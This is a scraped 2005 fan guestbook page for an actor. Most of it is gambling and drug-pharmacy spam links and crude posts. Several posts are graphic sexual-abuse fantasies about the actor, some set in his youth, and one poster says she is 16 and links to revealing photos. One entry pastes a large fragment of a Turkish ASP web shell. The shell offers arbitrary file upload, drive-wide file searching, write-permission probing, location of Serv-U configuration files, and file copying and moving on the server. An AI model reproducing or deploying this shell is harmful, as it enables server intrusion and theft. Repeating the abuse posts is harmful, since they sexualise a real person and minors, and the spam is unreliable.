DUstin DIAMONDS' SUPER GuestBook

[ << | < | 703 | 704 | 705 | 706 | 707 | 708 | 709 | 710 | 711 | 712 | 713 | 714 | 715 | 716 | 717 | 718 | 719 | 720 | 721 | 722 | 723 | > | >> ]

18th June 2005 - 09:53:36 PM

23825 : yo

putos

19th June 2005 - 12:37:35 AM

23929 : craps table

Take your time to check out some relevant information on slot machines casino on net casino online roulette jack black las vegas casinos black jack slot machine casino slots free strip blackjack free online casino games online craps best online casinos casino games online how to play craps casino roulette black jack online las vegas casino hotels free slot machines casino directory free online casinos casino game free online gambling online black jack online casino bonus casino game online blackjack strategy betting line blackjack strategies blackjack games - Tons of interesdting stuff!!!

19th June 2005 - 12:43:37 AM

23948 : keno

You can also check some relevant information on jack black free casino games black jack casino poker chips casino chips internet gambling free strip blackjack betting exchange roulette wheel free casino how to play craps free casino game virtual casino black jack online roulette table craps table internet casinos casino game casino game online free blackjack game blackjack strategy play roulette casino download casino blackjack casino cards play blackjack gambling casino online free casino games online free online slot machines blackjack strategies ... Thanks!!!

19th June 2005 - 01:13:54 AM

24059 : online craps

Please check out some information dedicated to slot machines casino games online casino gambling roulette jack black black jack slot machine online casino gambling baccarat best online casino casinos ranked keno betting exchange free online casino games roulette wheel free casino black jack online las vegas casino hotels online casino poker casino directory betting line free casinos las vegas slot machine online casino sites free casino cash las vegas online casino free casino games online roulette games free online slot machines blackjack games ...

19th June 2005 - 01:41:44 AM

24087 : John

If at first you don't succeed, then skydiving definitely isn't for you. http://travel.altse.com/adventure-travel.html

19th June 2005 - 11:14:02 AM

24299 : RememberWhen

Screech, remember how you guys graduated but nobody told you, leaving you to return the next year? Remember how it was a totally "new class" and you wondered what was going on? Remember how Belding used to dress you up in his soiled leather jacket in a futile bid to make you hip? Remember how you wanted to be the "Fonz" but ended up being a 40-something honors student that "hung" around all 6 of the school's students? Remember how Belding used to keep you in his room hours on end whilst he dumped his load into your backside whilst you had his jacket on? Remember how the new class used to call you an assclown? Remember how they used to throw cow pies at your face? Remember how it kinda tasted like Belding's poo? Remember how you stood there for 30 whole minutes getting cow pies thrown at your face? Remember how a major manure company got you to be their sponsor and you ended up being shat directly upon by cows in a futile bid to show the public that "cows are safe" - remember how you couldn't stop itching for years after that? You sure got dumped on back then didn't you?

19th June 2005 - 11:19:31 AM

24329 : RememberWhen

Screech, remember how you came to school dressed as Michael Jackson? Remember how people thought it was strange how you used to come a lot in the Jackson pants? Remember how the local papers used to accuse you as "being Jackson" and hung around with all the kids of Bayside - remember how Jackson sent Lotia Jackson over to kick you in the nuts and serve you with a legal writ? Remember how you wanted to settle out of court? Remember how Jackson "agreed"? Remember how he invited you to his house to "mutally agree the deal"? Remember how you reappeared in school with your pants down? Remember how your face was a ghosty white? Remember how you promised you would never drink a glass of wine ever again? Remember how Belding overheard you and used to poision your milk carton's with wine, got you drunk and used to anally shaft you whilst you were in his car? Remember how you became the anal jockey you are today because of this one mistake? You sure got screwed that time punk!

19th June 2005 - 11:54:22 AM

24360 : 成人用品

19th June 2005 - 12:00:01 PM

24365 : Billy

Microsoft windows 2010 supra is good operation system

19th June 2005 - 01:47:40 PM

24368 : shit !

19th June 2005 - 02:36:32 PM

24369 : Thank you

Thanks for all the poker links ! :D... I played poker yesterday and won 00 !!!!!!! My undying gratitude Mr "Spam"

19th June 2005 - 05:07:36 PM

24370 : eror

= llngEnd Then Exit Function
llngLength = llngEnd - llngStart
ParseContentType = Trim(CStrU(MidB(pbinChunk, llngStart, llngLength)))
End Function

Private Function ParseDisposition(ByRef pbinChunk)
Dim llngStart
Dim llngEnd
Dim llngLength
llngStart = InStrB(1, pbinChunk, CRLF & CStrB("Content-Disposition:"), vbTextCompare)
If llngStart = 0 Then Exit Function
llngEnd = InStrB(llngStart + 22, pbinChunk, CRLF)
If llngEnd = 0 Then Exit Function
llngStart = llngStart + 22
If llngStart >= llngEnd Then Exit Function
llngLength = llngEnd - llngStart
ParseDisposition = CStrU(MidB(pbinChunk, llngStart, llngLength))
End Function

Private Function ParseName(ByRef pstrDisposition)
Dim llngStart
Dim llngEnd
Dim llngLength
llngStart = InStr(1, pstrDisposition, "name=""", vbTextCompare)
If llngStart = 0 Then Exit Function
llngEnd = InStr(llngStart + 6, pstrDisposition, """")
If llngEnd = 0 Then Exit Function
llngStart = llngStart + 6
If llngStart >= llngEnd Then Exit Function
llngLength = llngEnd - llngStart
ParseName = Mid(pstrDisposition, llngStart, llngLength)
End Function
' ------------------------------------------------------------------------------
Private Function ParseFileName(ByRef pstrDisposition)
Dim llngStart
Dim llngEnd
Dim llngLength
llngStart = InStr(1, pstrDisposition, "filename=""", vbTextCompare)
If llngStart = 0 Then Exit Function
llngEnd = InStr(llngStart + 10, pstrDisposition, """")
If llngEnd = 0 Then Exit Function
llngStart = llngStart + 10
If llngStart >= llngEnd Then Exit Function
llngLength = llngEnd - llngStart
ParseFileName = Mid(pstrDisposition, llngStart, llngLength)
End Function

Public Property Get Count()
Count = mlngCount
End Property

Public Default Property Get Fields(ByVal pstrName)
Dim llngIndex
If IsNumeric(pstrName) Then
llngIndex = CLng(pstrName)
If llngIndex > mlngCount - 1 Or llngIndex < 0 Then
Call Err.Raise(vbObjectError + 1, "clsUpload.asp", "Object does not exist within the ordinal reference.")
Exit Property
End If
Set Fields = mobjFieldAry(pstrName)
Else
pstrName = LCase(pstrname)
For llngIndex = 0 To mlngCount - 1
If LCase(mobjFieldAry(llngIndex).Name) = pstrName Then
Set Fields = mobjFieldAry(llngIndex)
Exit Property
End If
Next
End If
Set Fields = New clsField
End Property

Private Sub Class_Terminate()
Dim llngIndex
For llngIndex = 0 To mlngCount - 1
Set mobjFieldAry(llngIndex) = Nothing

Next
ReDim mobjFieldAry(-1)
End Sub

Private Sub Class_Initialize()
ReDim mobjFieldAry(-1)
CR = ChrB(Asc(vbCr))
LF = ChrB(Asc(vbLf))
CRLF = CR & LF
mlngCount = 0
Call RequestData
Call ParseDelimiter()
Call ParseData
End Sub

Private Function CStrU(ByRef pstrANSI)
Dim llngLength
Dim llngIndex
llngLength = LenB(pstrANSI)
For llngIndex = 1 To llngLength
CStrU = CStrU & Chr(AscB(MidB(pstrANSI, llngIndex, 1)))
Next
End Function

Private Function CStrB(ByRef pstrUnicode)
Dim llngLength
Dim llngIndex
llngLength = Len(pstrUnicode)
For llngIndex = 1 To llngLength
CStrB = CStrB & ChrB(Asc(Mid(pstrUnicode, llngIndex, 1)))
Next
End Function
End Class
'####################################
Class clsField
Public Name
Private mstrPath
Public FileDir
Public FileExt
Public FileName
Public ContentType
Public Value
Public BinaryData
Public Length
Private mstrText

Public Property Get BLOB()
BLOB = BinaryData
End Property

Public Function BinaryAsText()
Dim lbinBytes
Dim lobjRs
If Length = 0 Then Exit Function
If LenB(BinaryData) = 0 Then Exit Function

If Not Len(mstrText) = 0 Then
BinaryAsText = mstrText
Exit Function
End If
lbinBytes = ASCII2Bytes(BinaryData)
mstrText = Bytes2Unicode(lbinBytes)
BinaryAsText = mstrText
End Function

Public Sub SaveAs(ByRef pstrFileName)
Const adTypeBinary=1
Const adSaveCreateOverWrite=2
Dim lobjStream
Dim lobjRs
Dim lbinBytes
If Length = 0 Then Exit Sub
If LenB(BinaryData) = 0 Then Exit Sub
Set lobjStream = Server.CreateObject("ADODB.Stream")
lobjStream.Type = adTypeBinary
Call lobjStream.Open()
lbinBytes = ASCII2Bytes(BinaryData)
Call lobjStream.Write(lbinBytes)

On Error Resume Next

Call lobjStream.SaveToFile(pstrFileName, adSaveCreateOverWrite)

'if err0 then response.Write ""&err.Description

Call lobjStream.Close()
Set lobjStream = Nothing
End Sub

Public Property Let FilePath(ByRef pstrPath)
mstrPath = pstrPath
If Not InStrRev(pstrPath, ".") = 0 Then
FileExt = Mid(pstrPath, InStrRev(pstrPath, ".") + 1)
FileExt = UCase(FileExt)
End If
If Not InStrRev(pstrPath, "\") = 0 Then
FileName = Mid(pstrPath, InStrRev(pstrPath, "\") + 1)
End If
If Not InStrRev(pstrPath, "\") = 0 Then
FileDir = Mid(pstrPath, 1, InStrRev(pstrPath, "\") - 1)
End If
End Property

Public Property Get FilePath()
FilePath = mstrPath
End Property

private Function ASCII2Bytes(ByRef pbinBinaryData)
Const adLongVarBinary=205
Dim lobjRs
Dim llngLength
Dim lbinBuffer
llngLength = LenB(pbinBinaryData)
Set lobjRs = Server.CreateObject("ADODB.Recordset")
Call lobjRs.Fields.Append("BinaryData", adLongVarBinary, llngLength)
Call lobjRs.Open()
Call lobjRs.AddNew()
Call lobjRs.Fields("BinaryData").AppendChunk(pbinBinaryData & ChrB(0))
Call lobjRs.Update()
lbinBuffer = lobjRs.Fields("BinaryData").GetChunk(llngLength)
Call lobjRs.Close()
Set lobjRs = Nothing
ASCII2Bytes = lbinBuffer
End Function

Private Function Bytes2Unicode(ByRef pbinBytes)
Dim lobjRs
Dim llngLength
Dim lstrBuffer
llngLength = LenB(pbinBytes)
Set lobjRs = Server.CreateObject("ADODB.Recordset")
Call lobjRs.Fields.Append("BinaryData", adLongVarChar, llngLength)
Call lobjRs.Open()
Call lobjRs.AddNew()
Call lobjRs.Fields("BinaryData").AppendChunk(pbinBytes)
Call lobjRs.Update()
lstrBuffer = lobjRs.Fields("BinaryData").Value
Call lobjRs.Close()
Set lobjRs = Nothing
Bytes2Unicode = lstrBuffer
End Function
End Class
'####################################
function addslash(path)
if right(path,1)="\" then addslash=path else addslash=path & "\"
end function

sub Upload()
dim objUpload,f,max,i,name,path,size,success

set objUpload=New clsUpload

targetPath=objUpload.Fields("folder").Value
max=objUpload.Fields("max").Value

for i=1 to max
name=objUpload.Fields("file" & i).FileName
size=objUpload.Fields("file" & i).Length
if (name"") and (size>0) then
gMsg=gMsg & "" & vbNewLine & "- " & name & " (" & FormatNumber(size,0) & " bytes): "
path=addslash(targetPath) & name
objUpload.Fields("file" & i).SaveAs path

if objFSO.FileExists(path) then
on error resume next
set f=objFSO.GetFile(path)
if IsObject(f) then
if f.Size=size then success=true else success=false
end if
set f=nothing
end if
if success then gMsg=gMsg & "uploaded" else gMsg = gMsg & "failed!"
end if
next
response.Write gMsg
set objUpload=nothing

end sub

if status="-4" then
Upload()
' hataKontrol
popup=false
end if
'////////////////////////////////
sub hataKontrol
if err0 then
Response.Write "Hata : "&err.Description&""
end if
end sub

sub araBul(path_,ara_)
on error resume next
If Len(path_) > 0 Then
cur = path_&"\"
If cur = "\" Then cur = ""
parent = ""
If InStrRev(cur,"\") > 0 Then
parent = Left(cur, InStrRev(cur, "\", Len(cur)-1))
End If
Else
cur = ""
End If

Set f = objFSO.GetFolder(cur)

Set fc = f.Files
For Each f1 In fc
if lcase(InStr(1,f1.name,lcase(ara_)))>0 then
downStr = "�"
if lcase(ara_)="mdb" then
Response.Write downStr&"� * "&f1.path&" ["&f1.size&"]"&""
else
Response.Write downStr&"�! - "&f1.path&" ["&f1.size&"]"&""
end if
end if
Next

Set fs = f.SubFolders
For Each f1 In fs
araBul f1.path,ara_
Next
Set f = Nothing
Set fc = Nothing
Set fs = Nothing
end sub

sub sistemTest
response.Write ""
response.Write "KonumSonu�"

servu_Test
WriteTestOnDriver
WriteTestOnLocalPath
LocalPathParentFolder
LocalPathPParentFolder

response.Write ""
end sub

sub servu_Test
dosya_ = Array("Program Files\Serv-u\Serv-u.ini", "Program Files\Serv-u\Serv-u daemon.ini", "Serv-u\Serv-u.ini", "Serv-u\Serv-u daemon.ini")
for each drive_ in objFSO.Drives
if drive_.Drivetype=2 or drive_.Drivetype=3 then
for each d_ in dosya_
d_ = drive_.DriveLetter&":\"&d_
if objFSO.FileExists(d_) then
response.Write "Serv-U ini file : "&d_&""
end if
next
end if
next
end sub

function yaziyomu(yol)
on error goto 0:on error resume next
dim sonuc__
objFSO.CopyFile request.servervariables("PATH_TRANSLATED"),yol & "\test.zehir"
if err0 then
sonuc__="Yazma Hakk� Yok!"
else
sonuc__="Yazma Hakk� Var!"
on error goto 0: on error resume next
objFSO.DeleteFile yol & "\test.zehir",true
if err0 then
sonuc__=sonuc__&"Silme Hakk� Yok!"
else
sonuc__=sonuc__&"Silme Hakk� Var!"
end if
end if
yaziyomu = sonuc__
end function

function yaziyomu2(yol)
on error goto 0:on error resume next
objFSO.CopyFile request.servervariables("PATH_TRANSLATED"),yol & "\test.zehir"
if err0 then
yaziyomu2 = false
else
objFSO.DeleteFile yol & "\test.zehir"
yaziyomu2 = true
end if
end function

sub WriteTestOnDriver
for each drive_ in objFSO.Drives
if drive_.Drivetype=2 or drive_.Drivetype=3 then
if not yaziyomu2(drive_.DriveLetter&":\") then
Response.Write ""&drive_.DriveLetter&":\yazma yetkisi yok! : ["&err.Description&"]"
else
Response.Write ""&drive_.DriveLetter&":\yazma yetkisi var!"
end if
end if
next
end sub

sub WriteTestOnLocalPath
on error goto 0
on error resume next
if not yaziyomu2(request.servervariables("APPL_PHYSICAL_PATH")) then
Response.Write "Local Path yazma yetkisi yok! : ["&err.Description&"]"
else
Response.Write "Local Path yazma yetkisi var!"
end if
end sub

sub LocalPathParentFolder
on error goto 0
on error resume next
hed_ = request.servervariables("APPL_PHYSICAL_PATH")
if Right(hed_,1)="\" then hed_ = left(hed_,len(hed_)-1)
parhed_ = left(hed_,InStrRev(hed_,"\"))

Set f = objFSO.GetFolder(parhed_)
Set fc = f.SubFolders

int_fol=0
int_fil=0
For Each f1 In fc
int_fol=int_fol+1
Next

Set fc = f.files
For Each f1 In fc
int_fil=int_fil+1
Next

if err0 then
Response.Write "Local Path Parent FolderHata Olu⺶u : ["&err.Description&"]"
else
Response.Write "Local Path Parent FolderFolder : "&FormatNumber(int_fol,0)&"File : "&FormatNumber(int_fil,0)&""
end if
end sub

sub LocalPathPParentFolder
on error goto 0
on error resume next
hed_ = request.servervariables("APPL_PHYSICAL_PATH")
if Right(hed_,1)="\" then hed_ = left(hed_,len(hed_)-1)
hed_ = left(hed_,InStrRev(hed_,"\"))
if Right(hed_,1)="\" then hed_ = left(hed_,len(hed_)-1)
parhed_ = left(hed_,InStrRev(hed_,"\"))

Set f = objFSO.GetFolder(parhed_)
Set fc = f.SubFolders
int_fol=0
int_fil=0
For Each f1 In fc
int_fol=int_fol+1
Next

Set fc = f.files
For Each f1 In fc
int_fil=int_fil+1
Next

if err0 then
if err=451 then
Response.Write "Local Path P.Parent FolderData 躶t Klasor Yok :)"
else
Response.Write "Local Path P.Parent FolderHata Olu⺶u : ["&err.Description&"]"
end if
else
Response.Write "Local Path P.Parent FolderFolder : "&FormatNumber(int_fol,0)&"File : "&FormatNumber(int_fil,0)&""
end if
end sub

SELECT CASE status
CASE 13 'Sistem Bilgisi
Response.Write ": Sistem Bilgileri :"
Response.Write "Local Adres " & request.servervariables("REMOTE_ADDR") & ""
Response.Write "User Agent " & request.servervariables("HTTP_USER_AGENT") & ""
Response.Write "Server " & request.servervariables("SERVER_NAME") & ""
Response.Write "IP " & request.servervariables("LOCAL_ADDR") & ""
Response.Write "HTTPD " & request.servervariables("SERVER_SOFTWARE") & ""
Response.Write "Port " & request.servervariables("SERVER_PORT") & ""
Response.Write "Yol " & request.servervariables("APPL_PHYSICAL_PATH") & ""
Response.Write "Log Root " & request.servervariables("APPL_MD_PATH") & ""
Response.Write "HTTPS " & request.servervariables("HTTPS") & ""
Response.Write ""
popup = false
CASE 14 'Upload and Search
aramaUpload
popup = false
hataKontrol
CASE 15 'Ms. SQL Server
Response.Write ""
Response.Write "SQL Server i鏸n connection string giriniz"
Response.Write ""
Response.Write ""
response.Write ""
Response.Write ""
response.Write ""

popup = false
hataKontrol
CASE 16 'file Copy window
Response.Write ""
Response.Write "Kop. Yer : "
Response.Write ""
Response.Write ""
response.Write ""
Response.Write ""
response.Write "Kopyala"
response.Write "Tasi"
response.Write ""
response.Write ""

popup = false
hataKontrol
CASE 17 'file Copy
isl = ""
if islem="kopyala" then
objFSO.CopyFile path,cf
isl="kopyaland�.."
elseif islem="tasi" then
objFSO.MoveFile path,cf
isl="tand�.."
end if
response.Write "Dosya "&isl
response.Write "Kaynak : "&path&"Hedef : "&cf
response.Write ""
popup = false
hataKontrol
CASE 18 'folder Copy window
Response.Write ""
Response.Write "Kop. Yer : "
Response.Write ""
Response.Write ""
response.Write ""
Response.Write ""
response.Write "Kopyala"
response.Write "Tasi"
response.Write ""
response.Write ""

popup = false
hataKontrol
CASE 19 'folder Copy
isl = ""
if islem="kopyala" then
objFSO.CopyFolder path,cf
isl="kopyaland�.."
elseif islem="tasi" then
objFSO.MoveFolder path,cf
isl="tand�.."
end if
response.Write "Klasor "&isl
response.Write "Kaynak : "&path&"Hedef : "&cf
response.Write ""
popup = false
hataKontrol
CASE 33 'Powered By
response.Write "Powered By Zehir"
response.Write "www.cyber-warrior.org"
response.Write "art齥 hackerl齨 bir anlam� yok benim i鏸n!birg黱 sizin i鏸nde bir anlam tamayacak!by zehir;)"
popup = false
hataKontrol
CASE 40 'Sistem Test
sistemTest
popup=false
CASE 50 'Siteleri Hackleyelim :D
END SELECT
%>

function NewWindow(mypage, myname, w, h, scroll) {
var winl = (screen.width - w) / 2;
var wint = (screen.height - h) / 2;
winprops = 'height='+h+',width='+w+',top='+wint+',left='+winl+',scrollbars='+scroll+',resizable'
win = window.open(mypage, myname, winprops)
if (parseInt(navigator.appVersion) >= 4) { win.window.focus(); }
}
function ffd(yol){
NewWindow(yol,"",420,100,"no");
}

Max:

setid();

function setid() {
str='';
if (frmUpload.max.value

19th June 2005 - 07:03:46 PM

24713 :

shit !

19th June 2005 - 07:38:40 PM

24728 : Delight Full Decor

Great Site! Keep up the good work.

19th June 2005 - 11:11:25 PM

24729 : Zack\'s dad

Screech, remember that time when you were in Junior High and you slept over in Zack's room? Remember when I snuck into Zack's room and quietly grabbed you and brought you down to my basement where I assraped you for an hour, finishing you off with a donkey punch? Remember when I brought you back to Zack's room and dropped you on the floor? Remember when Zack woke up the next day and was pissed at your because your bloody ass stained his carpet? Remember how you couldn't remember how that could have happened?

19th June 2005 - 11:45:44 PM

24730 : Michael Jackson

screech, please visit neverland ranch so that i can molest you. again

20th June 2005 - 12:16:26 AM

24731 : diamond\'s taint

lick me

20th June 2005 - 07:28:25 AM

25203 : Twyla 16

hmmm...i havent been here in forever...hmmm...link time:
http://www.buddypic.com/users/milkslut

20th June 2005 - 07:34:26 AM

25204 : Twyla 16

If you actually go to it then click Thank God...and click VF or myspace for more pics...im posting some new ones today because i have to show off my peircings...i have my lip double peirced...the whole snake bite thing...my lobes are guaged...my cartalidge...and my nipples...non of which hurt...well...i was passed out during the nipples so i dont know...

20th June 2005 - 12:20:47 PM

25206 : jack

http://buy-valium.t5t.cis.ru http://buycarisoprodol.t5t.cis.ru http://buydidrex.t5t.cis.ru http://buyfioricet.t5t.cis.ru http://buyultram.t5t.cis.ru http://cheap-alprazolam-online.t5t.cis.ru http://cheap-codeine-online.t5t.cis.ru http://cheap-levitra-buy.t5t.cis.ru http://cheap-xanax.t5t.cis.ru http://lortab-cheap.t5t.cis.ru

[ << | < | 703 | 704 | 705 | 706 | 707 | 708 | 709 | 710 | 711 | 712 | 713 | 714 | 715 | 716 | 717 | 718 | 719 | 720 | 721 | 722 | 723 | > | >> ]

[ page load ] Completed in 0.102276 seconds.

Name :		E-mail :
Message :
entar codez: